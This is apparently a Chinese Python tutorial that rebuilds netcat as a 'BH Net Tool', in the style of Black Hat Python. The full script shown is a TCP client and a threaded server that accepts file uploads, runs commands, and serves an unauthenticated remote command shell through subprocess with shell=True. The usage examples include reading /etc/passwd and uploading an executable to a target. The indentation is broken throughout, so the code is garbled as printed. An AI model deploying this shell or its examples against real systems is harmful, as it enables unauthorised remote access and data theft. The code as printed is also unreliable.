【Python】Part1 应用1-Netcat

01 简介

netcat的主要功能是通过tcp或udp协议传输读写数据。

下面代码用python编写了tcp客户端，服务端，从而实现上传文件，本地执行命令，反弹shell三种功能。

02 代码

 import sys
 import socket
 import getopt
 import threading
 import subprocess

 listen                = False                                                #judge flag: client or server
 target                = ""                                                    #client: target_host(default = localhost), target_port
 port                = 0
 upload                = False                                                #server: 3 functions of server
 upload_destination     = ""
 execute            = ""
 command            = False

 #-------------------------------------------------------------------------------------------client: target_host, target_port
 def client_sender(buffer):
     print '=========client   on ======'
     client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)            #c-1 socket

     try:
     client.connect((target,port))                                        #c-2 connect

     if len(buffer):
         client.send(buffer)

     while True:                                                            #c-3 loop = handle;    handle = send + recv
         recv_len = 1
         response = ""                                                            #get response from server

         while recv_len:
         data         = client.recv(4096)
         recv_len     = len(data)
         response     = response + data

         if recv_len < 4096:
             break

         print response,

         buffer = raw_input("")
         buffer =  buffer + "\n"
         client.send(buffer)

     except:
     print "[*] Exception ! Exiting."
     client.close()

 #-------------------------------------------------------------------------------------------server:
 def run_command(command):
     command = command.rstrip()

     try:
     output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
     except:
     output = "Failed to execute command.\r\n"

     return output

 def client_handle(client_socket):
     global upload
     global execute
     global command

     if len(upload_destination):                                              #type1 upload
     file_buffer = ""

     while True:
         data = client_socket.recv(1024)
         if not data:
         break
         else:
         file_buffer = file_buffer + data

     try:
         file_descriptor = open(upload_destination,"wb")
         file_descriptor.write(file_buffer)
         file_descriptor.close()

         client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
     except:
         client_socket.send("Failed to save file to %s\r\n" % upload_destination)

     if len(execute):                                                    #type2 execute(local)
     print execute
     output = run_command(execute)    

     client_socket.send(output)

     if command:                                                        #type3 command(remote)
     while True:
         client_socket.send("<BHP:#> ")
         cmd_buffer = ""
         while "\n" not in cmd_buffer:
         cmd_buffer += client_socket.recv(1024)

         response = run_command(cmd_buffer)
         client_socket.send(response)

 def server_loop():
     print '=========server   on ======'
     global target
     global port

     if not len(target):
     target = "0.0.0.0"

     server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)        #s-1 socket

     server.bind((target,port))                                                #s-2 bind

     server.listen(5)                                                        #s-3 listen

     while True:                                                            #s-4 loop = accept + thread(handle) + start    ;    handle  = recv + send
     client_socket,addr = server.accept()
     client_thread = threading.Thread(target=client_handle,args=(client_socket,))
     client_thread.start()

 #-------------------------------------------------------------------------------------------main
 def usage():
     print "BH Net Tooll"
     print
     print "Usage: bhnet.py -t target_host -p port"
     print "-l    --listen        -listen on [host]:[port] for incoming connections"
     print "-e     --execute=file_to_run    -execute the given file upon receving a connection"
     print "-c    --command        -initialize a command shell"
     print "-u    --upload=destination    -upon receiving connection upload a file and write to [destination]"
     print
     print "Examples:"
     print "bhnet.py  -t 192.168.0.1 -p 5555 -l -c"
     print "bhnet.py  -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
     print "bhnet.py  -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
     print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"
     sys.exit(0)

 def main():
     global listen
     global execute
     global command
     global upload_destination
     global upload
     global target
     global port

     if not len(sys.argv[1:]):                            #1 parse args
         usage()

     try:
     opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
     except getopt.GetoptError as err:
     print str(err)
     usage()

     for o,a in opts:
     print "opts:" + o + "    args:" + a
     if o in ("-h","--help"):
         usage()
     elif o in ("-l","--listen"):
         listen = True
     elif o in ("-e", "--execute"):
         execute = a
     elif o in ("-c", "--commandshell"):
         command = True
     elif o in ("-u", "--upload"):
         upload_destination = a
     elif o in ("-t", "--target"):
         target = a
     elif o in ("-p", "--port"):
         port = int(a)
     else:
         assert False,"Unhandled Option"

     if not listen and len(target) and port > 0:            #as a client
     buffer = sys.stdin.read()
     client_sender(buffer)

     if listen:                                            #as a server
     server_loop()

 main()